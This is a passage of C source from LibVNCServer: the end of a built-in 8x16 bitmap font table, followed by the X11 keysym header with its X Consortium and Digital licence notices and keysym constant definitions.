0x00,0x00,0x00,0x7c,0xc6,0xc6,0xc6,0xc6,0xc6,0xc6,0xc6,0xc6,0x00,0x00,0x00,0x00, 0x00,0x00,0x00,0x00,0xfe,0x00,0x00,0xfe,0x00,0x00,0xfe,0x00,0x00,0x00,0x00,0x00, 0x00,0x00,0x00,0x00,0x18,0x18,0x7e,0x18,0x18,0x00,0x00,0xff,0x00,0x00,0x00,0x00, 0x00,0x00,0x00,0x30,0x18,0x0c,0x06,0x0c,0x18,0x30,0x00,0x7e,0x00,0x00,0x00,0x00, 0x00,0x00,0x00,0x0c,0x18,0x30,0x60,0x30,0x18,0x0c,0x00,0x7e,0x00,0x00,0x00,0x00, 0x00,0x00,0x0e,0x1b,0x1b,0x1b,0x18,0x18,0x18,0x18,0x18,0x18,0x18,0x18,0x18,0x18, 0x18,0x18,0x18,0x18,0x18,0x18,0x18,0x18,0xd8,0xd8,0xd8,0x70,0x00,0x00,0x00,0x00, 0x00,0x00,0x00,0x00,0x18,0x18,0x00,0x7e,0x00,0x18,0x18,0x00,0x00,0x00,0x00,0x00, 0x00,0x00,0x00,0x00,0x00,0x76,0xdc,0x00,0x76,0xdc,0x00,0x00,0x00,0x00,0x00,0x00, 0x00,0x38,0x6c,0x6c,0x38,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x18,0x18,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x18,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x00,0x0f,0x0c,0x0c,0x0c,0x0c,0x0c,0xec,0x6c,0x6c,0x3c,0x1c,0x00,0x00,0x00,0x00, 0x00,0xd8,0x6c,0x6c,0x6c,0x6c,0x6c,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x00,0x70,0xd8,0x30,0x60,0xc8,0xf8,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x00,0x00,0x00,0x00,0x7c,0x7c,0x7c,0x7c,0x7c,0x7c,0x7c,0x00,0x00,0x00,0x00,0x00, 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, }; static int default8x16FontMetaData[256*5+1]={ 0,8,16,0,0,16,8,16,0,0,32,8,16,0,0,48,8,16,0,0,64,8,16,0,0,80,8,16,0,0,96,8,16,0,0,112,8,16,0,0,128,8,16,0,0,144,8,16,0,0,160,8,16,0,0,176,8,16,0,0,192,8,16,0,0,208,8,16,0,0,224,8,16,0,0,240,8,16,0,0,256,8,16,0,0,272,8,16,0,0,288,8,16,0,0,304,8,16,0,0,320,8,16,0,0,336,8,16,0,0,352,8,16,0,0,368,8,16,0,0,384,8,16,0,0,400,8,16,0,0,416,8,16,0,0,432,8,16,0,0,448,8,16,0,0,464,8,16,0,0,480,8,16,0,0,496,8,16,0,0,512,8,16,0,0,528,8,16,0,0,544,8,16,0,0,560,8,16,0,0,576,8,16,0,0,592,8,16,0,0,608,8,16,0,0,624,8,16,0,0,640,8,16,0,0,656,8,16,0,0,672,8,16,0,0,688,8,16,0,0,704,8,16,0,0,720,8,16,0,0,736,8,16,0,0,752,8,16,0,0,768,8,16,0,0,784,8,16,0,0,800,8,16,0,0,816,8,16,0,0,832,8,16,0,0,848,8,16,0,0,864,8,16,0,0,880,8,16,0,0,896,8,16,0,0,912,8,16,0,0,928,8,16,0,0,944,8,16,0,0,960,8,16,0,0,976,8,16,0,0,992,8,16,0,0,1008,8,16,0,0,1024,8,16,0,0,1040,8,16,0,0,1056,8,16,0,0,1072,8,16,0,0,1088,8,16,0,0,1104,8,16,0,0,1120,8,16,0,0,1136,8,16,0,0,1152,8,16,0,0,1168,8,16,0,0,1184,8,16,0,0,1200,8,16,0,0,1216,8,16,0,0,1232,8,16,0,0,1248,8,16,0,0,1264,8,16,0,0,1280,8,16,0,0,1296,8,16,0,0,1312,8,16,0,0,1328,8,16,0,0,1344,8,16,0,0,1360,8,16,0,0,1376,8,16,0,0,1392,8,16,0,0,1408,8,16,0,0,1424,8,16,0,0,1440,8,16,0,0,1456,8,16,0,0,1472,8,16,0,0,1488,8,16,0,0,1504,8,16,0,0,1520,8,16,0,0,1536,8,16,0,0,1552,8,16,0,0,1568,8,16,0,0,1584,8,16,0,0,1600,8,16,0,0,1616,8,16,0,0,1632,8,16,0,0,1648,8,16,0,0,1664,8,16,0,0,1680,8,16,0,0,1696,8,16,0,0,1712,8,16,0,0,1728,8,16,0,0,1744,8,16,0,0,1760,8,16,0,0,1776,8,16,0,0,1792,8,16,0,0,1808,8,16,0,0,1824,8,16,0,0,1840,8,16,0,0,1856,8,16,0,0,1872,8,16,0,0,1888,8,16,0,0,1904,8,16,0,0,1920,8,16,0,0,1936,8,16,0,0,1952,8,16,0,0,1968,8,16,0,0,1984,8,16,0,0,2000,8,16,0,0,2016,8,16,0,0,2032,8,16,0,0,2048,8,16,0,0,2064,8,16,0,0,2080,8,16,0,0,2096,8,16,0,0,2112,8,16,0,0,2128,8,16,0,0,2144,8,16,0,0,2160,8,16,0,0,2176,8,16,0,0,2192,8,16,0,0,2208,8,16,0,0,2224,8,16,0,0,2240,8,16,0,0,2256,8,16,0,0,2272,8,16,0,0,2288,8,16,0,0,2304,8,16,0,0,2320,8,16,0,0,2336,8,16,0,0,2352,8,16,0,0,2368,8,16,0,0,2384,8,16,0,0,2400,8,16,0,0,2416,8,16,0,0,2432,8,16,0,0,2448,8,16,0,0,2464,8,16,0,0,2480,8,16,0,0,2496,8,16,0,0,2512,8,16,0,0,2528,8,16,0,0,2544,8,16,0,0,2560,8,16,0,0,2576,8,16,0,0,2592,8,16,0,0,2608,8,16,0,0,2624,8,16,0,0,2640,8,16,0,0,2656,8,16,0,0,2672,8,16,0,0,2688,8,16,0,0,2704,8,16,0,0,2720,8,16,0,0,2736,8,16,0,0,2752,8,16,0,0,2768,8,16,0,0,2784,8,16,0,0,2800,8,16,0,0,2816,8,16,0,0,2832,8,16,0,0,2848,8,16,0,0,2864,8,16,0,0,2880,8,16,0,0,2896,8,16,0,0,2912,8,16,0,0,2928,8,16,0,0,2944,8,16,0,0,2960,8,16,0,0,2976,8,16,0,0,2992,8,16,0,0,3008,8,16,0,0,3024,8,16,0,0,3040,8,16,0,0,3056,8,16,0,0,3072,8,16,0,0,3088,8,16,0,0,3104,8,16,0,0,3120,8,16,0,0,3136,8,16,0,0,3152,8,16,0,0,3168,8,16,0,0,3184,8,16,0,0,3200,8,16,0,0,3216,8,16,0,0,3232,8,16,0,0,3248,8,16,0,0,3264,8,16,0,0,3280,8,16,0,0,3296,8,16,0,0,3312,8,16,0,0,3328,8,16,0,0,3344,8,16,0,0,3360,8,16,0,0,3376,8,16,0,0,3392,8,16,0,0,3408,8,16,0,0,3424,8,16,0,0,3440,8,16,0,0,3456,8,16,0,0,3472,8,16,0,0,3488,8,16,0,0,3504,8,16,0,0,3520,8,16,0,0,3536,8,16,0,0,3552,8,16,0,0,3568,8,16,0,0,3584,8,16,0,0,3600,8,16,0,0,3616,8,16,0,0,3632,8,16,0,0,3648,8,16,0,0,3664,8,16,0,0,3680,8,16,0,0,3696,8,16,0,0,3712,8,16,0,0,3728,8,16,0,0,3744,8,16,0,0,3760,8,16,0,0,3776,8,16,0,0,3792,8,16,0,0,3808,8,16,0,0,3824,8,16,0,0,3840,8,16,0,0,3856,8,16,0,0,3872,8,16,0,0,3888,8,16,0,0,3904,8,16,0,0,3920,8,16,0,0,3936,8,16,0,0,3952,8,16,0,0,3968,8,16,0,0,3984,8,16,0,0,4000,8,16,0,0,4016,8,16,0,0,4032,8,16,0,0,4048,8,16,0,0,4064,8,16,0,0,4080,8,16,0,0,}; static rfbFontData default8x16Font = { default8x16FontData, default8x16FontMetaData }; libvncserver-LibVNCServer-0.9.11/rfb/keysym.h000066400000000000000000002071111303145525000210130ustar00rootroot00000000000000#ifndef XK_0 /* $XConsortium: keysym.h,v 1.15 94/04/17 20:10:55 rws Exp $ */ /*********************************************************** Copyright (c) 1987 X Consortium Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE X CONSORTIUM BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. Except as contained in this notice, the name of the X Consortium shall not be used in advertising or otherwise to promote the sale, use or other dealings in this Software without prior written authorization from the X Consortium. Copyright 1987 by Digital Equipment Corporation, Maynard, Massachusetts. All Rights Reserved Permission to use, copy, modify, and distribute this software and its documentation for any purpose and without fee is hereby granted, provided that the above copyright notice appear in all copies and that both that copyright notice and this permission notice appear in supporting documentation, and that the name of Digital not be used in advertising or publicity pertaining to distribution of the software without specific, written prior permission. DIGITAL DISCLAIMS ALL WARRANTIES WITH REGARD TO THIS SOFTWARE, INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS, IN NO EVENT SHALL DIGITAL BE LIABLE FOR ANY SPECIAL, INDIRECT OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. ******************************************************************/ /* default keysyms */ #define XK_MISCELLANY #define XK_XKB_KEYS #define XK_LATIN1 #define XK_LATIN2 #define XK_LATIN3 #define XK_LATIN4 #define XK_GREEK /* $TOG: keysymdef.h /main/25 1997/06/21 10:54:51 kaleb $ */ /*********************************************************** Copyright (c) 1987, 1994 X Consortium Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE X CONSORTIUM BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. Except as contained in this notice, the name of the X Consortium shall not be used in advertising or otherwise to promote the sale, use or other dealings in this Software without prior written authorization from the X Consortium. Copyright 1987 by Digital Equipment Corporation, Maynard, Massachusetts All Rights Reserved Permission to use, copy, modify, and distribute this software and its documentation for any purpose and without fee is hereby granted, provided that the above copyright notice appear in all copies and that both that copyright notice and this permission notice appear in supporting documentation, and that the name of Digital not be used in advertising or publicity pertaining to distribution of the software without specific, written prior permission. DIGITAL DISCLAIMS ALL WARRANTIES WITH REGARD TO THIS SOFTWARE, INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS, IN NO EVENT SHALL DIGITAL BE LIABLE FOR ANY SPECIAL, INDIRECT OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. ******************************************************************/ #define XK_VoidSymbol 0xFFFFFF /* void symbol */ #ifdef XK_MISCELLANY /* * TTY Functions, cleverly chosen to map to ascii, for convenience of * programming, but could have been arbitrary (at the cost of lookup * tables in client code. */ #define XK_BackSpace 0xFF08 /* back space, back char */ #define XK_Tab 0xFF09 #define XK_Linefeed 0xFF0A /* Linefeed, LF */ #define XK_Clear 0xFF0B #define XK_Return 0xFF0D /* Return, enter */ #define XK_Pause 0xFF13 /* Pause, hold */ #define XK_Scroll_Lock 0xFF14 #define XK_Sys_Req 0xFF15 #define XK_Escape 0xFF1B #define XK_Delete 0xFFFF /* Delete, rubout */ /* International & multi-key character composition */ #define XK_Multi_key 0xFF20 /* Multi-key character compose */ #define XK_SingleCandidate 0xFF3C #define XK_MultipleCandidate 0xFF3D #define XK_PreviousCandidate 0xFF3E /* Japanese keyboard support */ #define XK_Kanji 0xFF21 /* Kanji, Kanji convert */ #define XK_Muhenkan 0xFF22 /* Cancel Conversion */ #define XK_Henkan_Mode 0xFF23 /* Start/Stop Conversion */ #define XK_Henkan 0xFF23 /* Alias for Henkan_Mode */ #define XK_Romaji 0xFF24 /* to Romaji */ #define XK_Hiragana 0xFF25 /* to Hiragana */ #define XK_Katakana 0xFF26 /* to Katakana */ #define XK_Hiragana_Katakana 0xFF27 /* Hiragana/Katakana toggle */ #define XK_Zenkaku 0xFF28 /* to Zenkaku */ #define XK_Hankaku 0xFF29 /* to Hankaku */ #define XK_Zenkaku_Hankaku 0xFF2A /* Zenkaku/Hankaku toggle */ #define XK_Touroku 0xFF2B /* Add to Dictionary */ #define XK_Massyo 0xFF2C /* Delete from Dictionary */ #define XK_Kana_Lock 0xFF2D /* Kana Lock */ #define XK_Kana_Shift 0xFF2E /* Kana Shift */ #define XK_Eisu_Shift 0xFF2F /* Alphanumeric Shift */ #define XK_Eisu_toggle 0xFF30 /* Alphanumeric toggle */ #define XK_Zen_Koho 0xFF3D /* Multiple/All Candidate(s) */ #define XK_Mae_Koho 0xFF3E /* Previous Candidate */ /* 0xFF31 through 0xFF3F are under XK_KOREAN */ /* Cursor control & motion */ #define XK_Home 0xFF50 #define XK_Left 0xFF51 /* Move left, left arrow */ #define XK_Up 0xFF52 /* Move up, up arrow */ #define XK_Right 0xFF53 /* Move right, right arrow */ #define XK_Down 0xFF54 /* Move down, down arrow */ #define XK_Prior 0xFF55 /* Prior, previous */ #define XK_Page_Up 0xFF55 #define XK_Next 0xFF56 /* Next */ #define XK_Page_Down 0xFF56 #define XK_End 0xFF57 /* EOL */ #define XK_Begin 0xFF58 /* BOL */ /* Misc Functions */ #define XK_Select 0xFF60 /* Select, mark */ #define XK_Print 0xFF61 #define XK_Execute 0xFF62 /* Execute, run, do */ #define XK_Insert 0xFF63 /* Insert, insert here */ #define XK_Undo 0xFF65 /* Undo, oops */ #define XK_Redo 0xFF66 /* redo, again */ #define XK_Menu 0xFF67 #define XK_Find 0xFF68 /* Find, search */ #define XK_Cancel 0xFF69 /* Cancel, stop, abort, exit */ #define XK_Help 0xFF6A /* Help */ #define XK_Break 0xFF6B #define XK_Mode_switch 0xFF7E /* Character set switch */ #define XK_script_switch 0xFF7E /* Alias for mode_switch */ #define XK_Num_Lock 0xFF7F /* Keypad Functions, keypad numbers cleverly chosen to map to ascii */ #define XK_KP_Space 0xFF80 /* space */ #define XK_KP_Tab 0xFF89 #define XK_KP_Enter 0xFF8D /* enter */ #define XK_KP_F1 0xFF91 /* PF1, KP_A, ... */ #define XK_KP_F2 0xFF92 #define XK_KP_F3 0xFF93 #define XK_KP_F4 0xFF94 #define XK_KP_Home 0xFF95 #define XK_KP_Left 0xFF96 #define XK_KP_Up 0xFF97 #define XK_KP_Right 0xFF98 #define XK_KP_Down 0xFF99 #define XK_KP_Prior 0xFF9A #define XK_KP_Page_Up 0xFF9A #define XK_KP_Next 0xFF9B #define XK_KP_Page_Down 0xFF9B #define XK_KP_End 0xFF9C #define XK_KP_Begin 0xFF9D #define XK_KP_Insert 0xFF9E #define XK_KP_Delete 0xFF9F #define XK_KP_Equal 0xFFBD /* equals */ #define XK_KP_Multiply 0xFFAA #define XK_KP_Add 0xFFAB #define XK_KP_Separator 0xFFAC /* separator, often comma */ #define XK_KP_Subtract 0xFFAD #define XK_KP_Decimal 0xFFAE #define XK_KP_Divide 0xFFAF #define XK_KP_0 0xFFB0 #define XK_KP_1 0xFFB1 #define XK_KP_2 0xFFB2 #define XK_KP_3 0xFFB3 #define XK_KP_4 0xFFB4 #define XK_KP_5 0xFFB5 #define XK_KP_6 0xFFB6 #define XK_KP_7 0xFFB7 #define XK_KP_8 0xFFB8 #define XK_KP_9 0xFFB9 /* * Auxiliary Functions; note the duplicate definitions for left and right * function keys; Sun keyboards and a few other manufactures have such * function key groups on the left and/or right sides of the keyboard. * We've not found a keyboard with more than 35 function keys total. */ #define XK_F1 0xFFBE #define XK_F2 0xFFBF #define XK_F3 0xFFC0 #define XK_F4 0xFFC1 #define XK_F5 0xFFC2 #define XK_F6 0xFFC3 #define XK_F7 0xFFC4 #define XK_F8 0xFFC5 #define XK_F9 0xFFC6 #define XK_F10 0xFFC7 #define XK_F11 0xFFC8 #define XK_L1 0xFFC8 #define XK_F12 0xFFC9 #define XK_L2 0xFFC9 #define XK_F13 0xFFCA #define XK_L3 0xFFCA #define XK_F14 0xFFCB #define XK_L4 0xFFCB #define XK_F15 0xFFCC #define XK_L5 0xFFCC #define XK_F16 0xFFCD #define XK_L6 0xFFCD #define XK_F17 0xFFCE #define XK_L7 0xFFCE #define XK_F18 0xFFCF #define XK_L8 0xFFCF #define XK_F19 0xFFD0 #define XK_L9 0xFFD0 #define XK_F20 0xFFD1 #define XK_L10 0xFFD1 #define XK_F21 0xFFD2 #define XK_R1 0xFFD2 #define XK_F22 0xFFD3 #define XK_R2 0xFFD3 #define XK_F23 0xFFD4 #define XK_R3 0xFFD4 #define XK_F24 0xFFD5 #define XK_R4 0xFFD5 #define XK_F25 0xFFD6 #define XK_R5 0xFFD6 #define XK_F26 0xFFD7 #define XK_R6 0xFFD7 #define XK_F27 0xFFD8 #define XK_R7 0xFFD8 #define XK_F28 0xFFD9 #define XK_R8 0xFFD9 #define XK_F29 0xFFDA #define XK_R9 0xFFDA #define XK_F30 0xFFDB #define XK_R10 0xFFDB #define XK_F31 0xFFDC #define XK_R11 0xFFDC #define XK_F32 0xFFDD #define XK_R12 0xFFDD #define XK_F33 0xFFDE #define XK_R13 0xFFDE #define XK_F34 0xFFDF #define XK_R14 0xFFDF #define XK_F35 0xFFE0 #define XK_R15 0xFFE0 /* Modifiers */ #define XK_Shift_L 0xFFE1 /* Left shift */ #define XK_Shift_R 0xFFE2 /* Right shift */ #define XK_Control_L 0xFFE3 /* Left control */ #define XK_Control_R 0xFFE4 /* Right control */ #define XK_Caps_Lock 0xFFE5 /* Caps lock */ #define XK_Shift_Lock 0xFFE6 /* Shift lock */ #define XK_Meta_L 0xFFE7 /* Left meta */ #define XK_Meta_R 0xFFE8 /* Right meta */ #define XK_Alt_L 0xFFE9 /* Left alt */ #define XK_Alt_R 0xFFEA /* Right alt */ #define XK_Super_L 0xFFEB /* Left super */ #define XK_Super_R 0xFFEC /* Right super */ #define XK_Hyper_L 0xFFED /* Left hyper */ #define XK_Hyper_R 0xFFEE /* Right hyper */ #endif /* XK_MISCELLANY */ /* * ISO 9995 Function and Modifier Keys * Byte 3 = 0xFE */ #ifdef XK_XKB_KEYS #define XK_ISO_Lock 0xFE01 #define XK_ISO_Level2_Latch 0xFE02 #define XK_ISO_Level3_Shift 0xFE03 #define XK_ISO_Level3_Latch 0xFE04 #define XK_ISO_Level3_Lock 0xFE05 #define XK_ISO_Group_Shift 0xFF7E /* Alias for mode_switch */ #define XK_ISO_Group_Latch 0xFE06 #define XK_ISO_Group_Lock 0xFE07 #define XK_ISO_Next_Group 0xFE08 #define XK_ISO_Next_Group_Lock 0xFE09 #define XK_ISO_Prev_Group 0xFE0A #define XK_ISO_Prev_Group_Lock 0xFE0B #define XK_ISO_First_Group 0xFE0C #define XK_ISO_First_Group_Lock 0xFE0D #define XK_ISO_Last_Group 0xFE0E #define XK_ISO_Last_Group_Lock 0xFE0F #define XK_ISO_Left_Tab 0xFE20 #define XK_ISO_Move_Line_Up 0xFE21 #define XK_ISO_Move_Line_Down 0xFE22 #define XK_ISO_Partial_Line_Up 0xFE23 #define XK_ISO_Partial_Line_Down 0xFE24 #define XK_ISO_Partial_Space_Left 0xFE25 #define XK_ISO_Partial_Space_Right 0xFE26 #define XK_ISO_Set_Margin_Left 0xFE27 #define XK_ISO_Set_Margin_Right 0xFE28 #define XK_ISO_Release_Margin_Left 0xFE29 #define XK_ISO_Release_Margin_Right 0xFE2A #define XK_ISO_Release_Both_Margins 0xFE2B #define XK_ISO_Fast_Cursor_Left 0xFE2C #define XK_ISO_Fast_Cursor_Right 0xFE2D #define XK_ISO_Fast_Cursor_Up 0xFE2E #define XK_ISO_Fast_Cursor_Down 0xFE2F #define XK_ISO_Continuous_Underline 0xFE30 #define XK_ISO_Discontinuous_Underline 0xFE31 #define XK_ISO_Emphasize 0xFE32 #define XK_ISO_Center_Object 0xFE33 #define XK_ISO_Enter 0xFE34 #define XK_dead_grave 0xFE50 #define XK_dead_acute 0xFE51 #define XK_dead_circumflex 0xFE52 #define XK_dead_tilde 0xFE53 #define XK_dead_macron 0xFE54 #define XK_dead_breve 0xFE55 #define XK_dead_abovedot 0xFE56 #define XK_dead_diaeresis 0xFE57 #define XK_dead_abovering 0xFE58 #define XK_dead_doubleacute 0xFE59 #define XK_dead_caron 0xFE5A #define XK_dead_cedilla 0xFE5B #define XK_dead_ogonek 0xFE5C #define XK_dead_iota 0xFE5D #define XK_dead_voiced_sound 0xFE5E #define XK_dead_semivoiced_sound 0xFE5F #define XK_dead_belowdot 0xFE60 #define XK_First_Virtual_Screen 0xFED0 #define XK_Prev_Virtual_Screen 0xFED1 #define XK_Next_Virtual_Screen 0xFED2 #define XK_Last_Virtual_Screen 0xFED4 #define XK_Terminate_Server 0xFED5 #define XK_AccessX_Enable 0xFE70 #define XK_AccessX_Feedback_Enable 0xFE71 #define XK_RepeatKeys_Enable 0xFE72 #define XK_SlowKeys_Enable 0xFE73 #define XK_BounceKeys_Enable 0xFE74 #define XK_StickyKeys_Enable 0xFE75 #define XK_MouseKeys_Enable 0xFE76 #define XK_MouseKeys_Accel_Enable 0xFE77 #define XK_Overlay1_Enable 0xFE78 #define XK_Overlay2_Enable 0xFE79 #define XK_AudibleBell_Enable 0xFE7A #define XK_Pointer_Left 0xFEE0 #define XK_Pointer_Right 0xFEE1 #define XK_Pointer_Up 0xFEE2 #define XK_Pointer_Down 0xFEE3 #define XK_Pointer_UpLeft 0xFEE4 #define XK_Pointer_UpRight 0xFEE5 #define XK_Pointer_DownLeft 0xFEE6 #define XK_Pointer_DownRight 0xFEE7 #define XK_Pointer_Button_Dflt 0xFEE8 #define XK_Pointer_Button1 0xFEE9 #define XK_Pointer_Button2 0xFEEA #define XK_Pointer_Button3 0xFEEB #define XK_Pointer_Button4 0xFEEC #define XK_Pointer_Button5 0xFEED #define XK_Pointer_DblClick_Dflt 0xFEEE #define XK_Pointer_DblClick1 0xFEEF #define XK_Pointer_DblClick2 0xFEF0 #define XK_Pointer_DblClick3 0xFEF1 #define XK_Pointer_DblClick4 0xFEF2 #define XK_Pointer_DblClick5 0xFEF3 #define XK_Pointer_Drag_Dflt 0xFEF4 #define XK_Pointer_Drag1 0xFEF5 #define XK_Pointer_Drag2 0xFEF6 #define XK_Pointer_Drag3 0xFEF7 #define XK_Pointer_Drag4 0xFEF8 #define XK_Pointer_Drag5 0xFEFD #define XK_Pointer_EnableKeys 0xFEF9 #define XK_Pointer_Accelerate 0xFEFA #define XK_Pointer_DfltBtnNext 0xFEFB #define XK_Pointer_DfltBtnPrev 0xFEFC #endif /* * 3270 Terminal Keys * Byte 3 = 0xFD */ #ifdef XK_3270 #define XK_3270_Duplicate 0xFD01 #define XK_3270_FieldMark 0xFD02 #define XK_3270_Right2 0xFD03 #define XK_3270_Left2 0xFD04 #define XK_3270_BackTab 0xFD05 #define XK_3270_EraseEOF 0xFD06 #define XK_3270_EraseInput 0xFD07 #define XK_3270_Reset 0xFD08 #define XK_3270_Quit 0xFD09 #define XK_3270_PA1 0xFD0A #define XK_3270_PA2 0xFD0B #define XK_3270_PA3 0xFD0C #define XK_3270_Test 0xFD0D #define XK_3270_Attn 0xFD0E #define XK_3270_CursorBlink 0xFD0F #define XK_3270_AltCursor 0xFD10 #define XK_3270_KeyClick 0xFD11 #define XK_3270_Jump 0xFD12 #define XK_3270_Ident 0xFD13 #define XK_3270_Rule 0xFD14 #define XK_3270_Copy 0xFD15 #define XK_3270_Play 0xFD16 #define XK_3270_Setup 0xFD17 #define XK_3270_Record 0xFD18 #define XK_3270_ChangeScreen 0xFD19 #define XK_3270_DeleteWord 0xFD1A #define XK_3270_ExSelect 0xFD1B #define XK_3270_CursorSelect 0xFD1C #define XK_3270_PrintScreen 0xFD1D #define XK_3270_Enter 0xFD1E #endif /* * Latin 1 * Byte 3 = 0 */ #ifdef XK_LATIN1 #define XK_space 0x020 #define XK_exclam 0x021 #define XK_quotedbl 0x022 #define XK_numbersign 0x023 #define XK_dollar 0x024 #define XK_percent 0x025 #define XK_ampersand 0x026 #define XK_apostrophe 0x027 #define XK_quoteright 0x027 /* deprecated */ #define XK_parenleft 0x028 #define XK_parenright 0x029 #define XK_asterisk 0x02a #define XK_plus 0x02b #define XK_comma 0x02c #define XK_minus 0x02d #define XK_period 0x02e #define XK_slash 0x02f #define XK_0 0x030 #define XK_1 0x031 #define XK_2 0x032 #define XK_3 0x033 #define XK_4 0x034 #define XK_5 0x035 #define XK_6 0x036 #define XK_7 0x037 #define XK_8 0x038 #define XK_9 0x039 #define XK_colon 0x03a #define XK_semicolon 0x03b #define XK_less 0x03c #define XK_equal 0x03d #define XK_greater 0x03e #define XK_question 0x03f #define XK_at 0x040 #define XK_A 0x041 #define XK_B 0x042 #define XK_C 0x043 #define XK_D 0x044 #define XK_E 0x045 #define XK_F 0x046 #define XK_G 0x047 #define XK_H 0x048 #define XK_I 0x049 #define XK_J 0x04a #define XK_K 0x04b #define XK_L 0x04c #define XK_M 0x04d #define XK_N 0x04e #define XK_O 0x04f #define XK_P 0x050 #define XK_Q 0x051 #define XK_R 0x052 #define XK_S 0x053 #define XK_T 0x054 #define XK_U 0x055 #define XK_V 0x056 #define XK_W 0x057 #define XK_X 0x058 #define XK_Y 0x059 #define XK_Z 0x05a #define XK_bracketleft 0x05b #define XK_backslash 0x05c #define XK_bracketright 0x05d #define XK_asciicircum 0x05e #define XK_underscore 0x05f #define XK_grave 0x060 #define XK_quoteleft 0x060 /* deprecated */ #define XK_a 0x061 #define XK_b 0x062 #define XK_c 0x063 #define XK_d 0x064 #define XK_e 0x065 #define XK_f 0x066 #define XK_g 0x067 #define XK_h 0x068 #define XK_i 0x069 #define XK_j 0x06a #define XK_k 0x06b #define XK_l 0x06c #define XK_m 0x06d #define XK_n 0x06e #define XK_o 0x06f #define XK_p 0x070 #define XK_q 0x071 #define XK_r 0x072 #define XK_s 0x073 #define XK_t 0x074 #define XK_u 0x075 #define XK_v 0x076 #define XK_w 0x077 #define XK_x 0x078 #define XK_y 0x079 #define XK_z 0x07a #define XK_braceleft 0x07b #define XK_bar 0x07c #define XK_braceright 0x07d #define XK_asciitilde 0x07e #define XK_nobreakspace 0x0a0 #define XK_exclamdown 0x0a1 #define XK_cent 0x0a2 #define XK_sterling 0x0a3 #define XK_currency 0x0a4 #define XK_yen 0x0a5 #define XK_brokenbar 0x0a6 #define XK_section 0x0a7 #define XK_diaeresis 0x0a8 #define XK_copyright 0x0a9 #define XK_ordfeminine 0x0aa #define XK_guillemotleft 0x0ab /* left angle quotation mark */ #define XK_notsign 0x0ac #define XK_hyphen 0x0ad #define XK_registered 0x0ae #define XK_macron 0x0af #define XK_degree 0x0b0 #define XK_plusminus 0x0b1 #define XK_twosuperior 0x0b2 #define XK_threesuperior 0x0b3 #define XK_acute 0x0b4 #define XK_mu 0x0b5 #define XK_paragraph 0x0b6 #define XK_periodcentered 0x0b7 #define XK_cedilla 0x0b8 #define XK_onesuperior 0x0b9 #define XK_masculine 0x0ba #define XK_guillemotright 0x0bb /* right angle quotation mark */ #define XK_onequarter 0x0bc #define XK_onehalf 0x0bd #define XK_threequarters 0x0be #define XK_questiondown 0x0bf #define XK_Agrave 0x0c0 #define XK_Aacute 0x0c1 #define XK_Acircumflex 0x0c2 #define XK_Atilde 0x0c3 #define XK_Adiaeresis 0x0c4 #define XK_Aring 0x0c5 #define XK_AE 0x0c6 #define XK_Ccedilla 0x0c7 #define XK_Egrave 0x0c8 #define XK_Eacute 0x0c9 #define XK_Ecircumflex 0x0ca #define XK_Ediaeresis 0x0cb #define XK_Igrave 0x0cc #define XK_Iacute 0x0cd #define XK_Icircumflex 0x0ce #define XK_Idiaeresis 0x0cf #define XK_ETH 0x0d0 #define XK_Eth 0x0d0 /* deprecated */ #define XK_Ntilde 0x0d1 #define XK_Ograve 0x0d2 #define XK_Oacute 0x0d3 #define XK_Ocircumflex 0x0d4 #define XK_Otilde 0x0d5 #define XK_Odiaeresis 0x0d6 #define XK_multiply 0x0d7 #define XK_Ooblique 0x0d8 #define XK_Ugrave 0x0d9 #define XK_Uacute 